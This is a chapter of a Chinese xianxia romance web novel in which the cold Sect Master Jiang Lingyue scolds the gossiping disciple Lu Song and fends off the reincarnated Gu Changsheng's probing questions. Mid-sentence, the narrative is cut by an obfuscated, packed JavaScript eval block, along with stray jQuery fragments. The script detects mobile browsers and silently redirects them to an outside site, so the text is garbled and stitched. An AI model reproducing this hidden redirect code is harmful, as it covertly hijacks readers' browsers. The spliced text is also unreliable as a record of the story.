听到这个答案，陆松肯定地点点头，若有所思地说：“你不知道也正常，毕竟江司主好像下了封口令。不过啊，这么些年过来，明眼人都能看出来，江司主对祈圣司是绝对有所纵容的。”


    陆松像是说什么不可告人的秘密般用手挡在嘴边，稍微向着顾长生那边凑了凑，用气音说道：“祈圣司天天找戒律司麻烦，江司主从来没有对翟景下过狠手。”


    顾长生用极其坦然的目光迎接着周围嫌弃的目光，并且回报以绝对真诚的微笑，敷衍：“所以呢？”


    “所以啊……江司主应该对翟景还是有点想法的。毕竟他可是天生仙骨，仙盟里最有希望飞升的人，想当初庆丰山除魔，江司主差点折里面，后来可是翟景少司主亲自带人，拼死把她救出来的……”


    说到这儿，他顿了顿，喃喃自语：“对啊，也就是那个时候，回来后她就是江司主了，甚至还下过禁酒令，酒都不让我们喝……”


    顾长生向后仰去，点头表示赞同：“嗯，不让喝酒，挺对的。”


    陆松好似是听到什么不可思议的话，连忙转头，“这怎么能对呢？酒啊！不让喝酒！那可是——”


    话音嘎然而止，他直接僵在原地，看着洒在顾长生身上的阴影。


    是那么熟悉，又那么令人……癫狂。


    他再次用实力证明什么叫人生三大定律之背后说人坏话正主必定在场。


    顾长生慵懒地举起双手又放下，看着面无表情站在陆松背后的众人，微笑：“师姐在上，我可什么都没说。”


    不少弟子步履匆匆地经过，快速点头，用幅度极小的动作表示认同，同时满脸同情地看着陆松。


    乔雪半俯下身，凑在陆松耳边，眉眼弯弯，语气极其玩味：“不让喝酒，那可是什么？你继续说呀？”


    陆松直接僵在原地，大气不敢出一声，尤其是身后那道冰冷、毫无情绪的视线，更是如千钧重般压在他的悲伤。


    “没什么……啊……没……什么啊……？”他的表情好像下一秒就要哭出来，小心翼翼地向着乔雪所在的反方向挪了挪，试探着问：“应该没什么吧？江司主，司主！我错了——啊——”


    “嘻，”乔雪恶劣地拉住陆松的衣领，不让他再有逃跑的可能，满脸笑意，恶狠狠道：“我刚刚还从魔族口里把你救下来，你就这么诋毁我师姐？”


    陆松站起身就想跑，却被乔雪死死拉住，眼看着远方那弟子满脸“祝你好死”的表情把门这么一关，又跑去治疗其他伤患——


    他彻底“死”在了原地，木讷地转头看向乔雪，全然不敢向着一旁那平静但强大的存在多说一句话。


    最终打破僵局的还是顾长生，他语气十分无辜：“怎么？师姐很讨厌酒吗？”


    他的眉眼本来是十分具有攻击性的，偏偏他微微侧了点头，窗外的日光恰巧投掷下一道阴影，照得那眸中闪烁着细碎的光。


    反而是多了分柔和与关心。


    江凌月将平静的视线转到他身上，过了几秒，反问道：“你喜欢？”


    继而完全不给顾长生回答的机会，低头看向“罪魁祸首”，目光如同实质性的刀刃，直直刮过陆松的每一寸皮肤，“你也想喝？”


    陆松只觉着心脏都要从嗓子眼里蹦出来，可江凌月的语气实在太平静，根本不知道她究竟是生气还是生气……


    最终不知过了多久，陆松眼一闭，心一横，颇有种破罐子破摔的味道，如同倒玻璃珠一样语速极快：“仙盟盟归第二卷第八条，出勤弟子……任务……任务前后三天禁止以任何形式、任何借口饮酒！”


    他说话的速度越来越快：“还有盟归第四卷第十三条，对上级、长老等前辈不敬者……不是，我没有不敬，我就是单纯……单纯……”


    乔雪有些惊讶，眼角的余光稍微瞥了下面无表情的江凌月，松开拉着陆松的衣领：“单纯什么？真是想不到你记的这么清楚啊？”


    要知道这盟归可是江凌月一个人耗时三个月的时间撰写的，又厚又长且无趣，没想到竟然有人能把这玩意背出来？！


    陆松小心翼翼地睁开一只眼，缩在一旁：“嘿嘿，盟归八卷，前后十七大项，三十一小项，共计三百四十一条，我几乎全部都记得，所以……江司主，我没意见，我真没意见。”


    或许是因为陆松的声音实在太大，又或许是因为江凌月人形噤声咒的威力过于强大，整个元愈堂陷入一片死寂，所有目光如同实质般钉在这四人身上，浓重的药草味里混杂着一丝不易察觉的、名为恐惧的味道。


    能屏息的屏息，先前哀嚎不断的更是死死咬紧牙关，只恨自己为什么不能直接消失。


    “陆松，”江凌月的声音冷静清晰，没有一丝波动，“我让你找顾长生说的是这个事？”


    陆松艰难地咽了口唾沫，“不是。”


    顾长生的笑容更加灿烂了，目光紧紧地盯在江凌月的脸上，连带着乔雪都觉着有些害怕，微微站起身，轻轻拽了拽江凌月的衣摆。


    “所以，你说了吗？”


    “说了说了！”陆松弹射站起，全然不顾顾长生那掌心刚刚愈合的嫩肉，身上更是缠满了绷带，一把把他拉起：“我这就带新入仙盟的师弟到弟子堂！哈哈，师弟我们走！你想必也累了一晚上吧？你看你身上这又是血污又是灰的，走走走。”


    顾长生任由陆松拉着他起来，直接对上江凌月审视的目光，像是随意一问：“那师姐住在哪里呢？我想了想，师姐应该也累了一晚上吧？”


    这话说的自然到就像问江凌月吃了吗一样自然。


    陆松：“……”


    乔雪：“……”


    两人齐齐转头看向江凌月。


    不知何时，或许是刚出地牢拐入盟主殿的时候，又或是刚刚开完会回到戒律司元愈堂的时候。江凌月哪怕累了一整个晚上，依然把自己收拾的很干净。


    纯白的剑修道袍十分修身，上面没有任何灰尘和血污，乌黑的秀发被简约的簪子束缚在脑后，静静垂落，衬着她不大不小的面庞很是美丽，却由于那极其冷淡的眉眼，硬是添上一分疏离。


    没有人敢说话，周围的伤患和医修此时更是如同被施了定身咒，丝毫不动。


    江凌月偏头看向乔雪，示意由她来解答，摆明了不想跟顾长生有任何交流。


    谁知乔雪还没张嘴，就被顾长生直接打断。


    顾长生盯着江凌月，一字一句：“我要师姐亲自说。”


    尤其最后三个字，更是加重语气，斩钉截铁，此刻虽然他面上带着笑，可偏偏横生出股奇怪的压迫感。


    听到顾长生这话，在场所有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960141|177368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人的目光下意识地看向江凌月，猜测着这位素来以冷面著称的活阎王会怎么回答。


    江凌月就这么静静地看着面前的顾长生，一言不发，不知过了多少秒，她微微开口，平静地说道：


    “作为戒律司司主，我睡在戒律司。”


    顾长生面上的笑容笑得更灿烂了，他轻声问：“那师姐也累了一晚上，要歇息了吗？”


    这话是什么意思？他究竟想要知道什么？


    “……我想我要做什么没有必要向你交代，”江凌月平静地回答，丝毫不惧顾长生那炽热的目光，“陆松可能已经忘完了，但我现在正式通知你。”


    “鉴于你刚加入仙盟，住宿未定，先暂且安排你与陆松同寝。三日后，你，及与你同批加入仙盟的弟子需到天枢司报道，通过测验，选择加入的司部。”


    说到这里，江凌月适时地向后退去一步，伴随着这个动作，整个元愈堂的定神咒像被解除了，医修和伤患又开始了小幅度活动。


    “所以，”她语气冷淡，态度极其公事公办，好似先前在地牢中的一切都不过是幻象，“请你积极准备，相关疑问由天枢司弟子陆松修士解答。”


    顾长生从陆松已经有些僵硬的手中抽出自己的手腕，用另一只手环绕两圈，他嘴角勾起：


    “那如果我想加入戒律司呢？师姐能不能看在我修为不算低的情况下，给我开个后门？”


    ——就像他曾经在上一世为江凌月做的那样，接纳被追杀的她，纵容她的无理和算计。


    只可惜他并没有这么说，江凌月也没有读心术，他的一切念想都只能算石沉大海，她就像对待每一位刚见面的陌生弟子般，毫无偏袒。


    “根据仙盟盟归第二卷，所有新加入仙盟弟子择司，需经过天枢司统一考核，依成绩、资质及司部所需，公平分配。修为高低并未唯一标准，我也不存在特权一说。”


    乔雪小心翼翼地从旁边蹑手蹑脚的弟子手中接过装满各种伤药的布包，站在陆松旁边，拼命使眼色。


    走，快走啊！愣着干嘛！


    陆松连忙从乔雪手中接过布包，不由分说地拽着顾长生就走，谁知顾长生根本没动，反而把他拉了个趔趄，一时之间面色通红，眼神不住地瞥向江凌月。


    她那毫无波澜的眼神也只是这么看了他们一眼，就向着远方走去，极其干脆利落，没有因为顾长生的注视而有半分停滞。


    直到她的身影彻底消失在门口，整个元愈堂的所有人如获大赦，压抑的呻吟声，低低地交谈声才重新响起。


    顾长生收回目光，自顾自地低声笑起来，好似想到了极其有趣的事。身上密密麻麻的伤口在隐隐作痛，可这痛感却让他无比清晰地意识到自己还活着，还能追逐那道清冷的身影——


    果真，不管转世多少次，又或许承载了多少奇怪的记忆，她还是她，永远那么喜欢欲盖弥彰，只可惜他现在并不能直接追上去，好好地看清楚她眼底充满懊恼和烦躁的光。


    也正如顾长生所想，当江凌月彻底离开元愈堂，坐在她的案桌前时，心底那细密的烦躁开始涌上心头。


    不自觉地，她捏紧了面前脆弱的纸张。


    顾长生到底什么意思？他想要做什么？……


    以及，为什么他表现的就像认识她很久一样？